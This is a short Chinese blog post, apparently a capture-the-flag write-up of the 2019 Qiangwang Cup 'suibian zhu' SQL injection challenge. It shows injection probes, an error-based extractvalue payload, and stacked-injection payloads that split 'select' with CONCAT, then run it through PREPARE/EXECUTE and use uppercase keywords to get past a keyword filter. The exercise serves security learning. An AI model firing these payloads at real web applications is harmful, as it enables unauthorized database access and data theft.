强网杯 2019 随便注

(1)一向不擅长注入,这道注入因为是1分,所以练了练:

判断是否存在注入:

1' (报错)

1' and 1=1--+   (回显正常)

1' and 1=2--+   (回显不正常)

 

 

 

 

 

 (2)判断列:

1' order by 3--+  (三列时报错,说明只有2列)

 

 (3)使用一下select试试:

1' union select 1,2--+     (发现过滤了很多:select|update|delete|drop|insert|where的大小写等)

 

 

 (4)绕过方式:报错注入或是拼接sql语句或是堆叠注入:

1';show tables--+  (堆叠注入可行)

 

 报错注入的话可以查看这篇:

https://www.cnblogs.com/cute-puli/p/14461322.html

1' and extractvalue(1,concat(0x7e,(user()),0x7e))--+  (可以直接爆出来用户与当前数据库,但是还是不能使用select等,试试堆叠注入)

 

(5)尝试堆叠注入:设置需要执行的sql语句,使用concat()进行拼接,然后PREPARE语句用于预备一个语句,并指定名称statement_name,以后引用并执行该语句

inject = "-1';set @sql = CONCAT('se','lect * from `flagg`;');prepare s from @sql;EXECUTE s;#"
# 提示: strstr($inject, "set") && strstr($inject, "prepare")
# strstr判断大小写,只处理了小写,可使用大写进行绕过
inject = "-1
';SET @sql = CONCAT('se','lect * from `flagg`;');PREPARE s from @sql;EXECUTE s;#"

 

 然后发现对这两个函数有进行防护,绕过方式,使用大写即可绕过:

 

 

成功拿到flag:

posted @ 2022-03-26 23:21  铺哩  阅读(31)  评论(0编辑  收藏  举报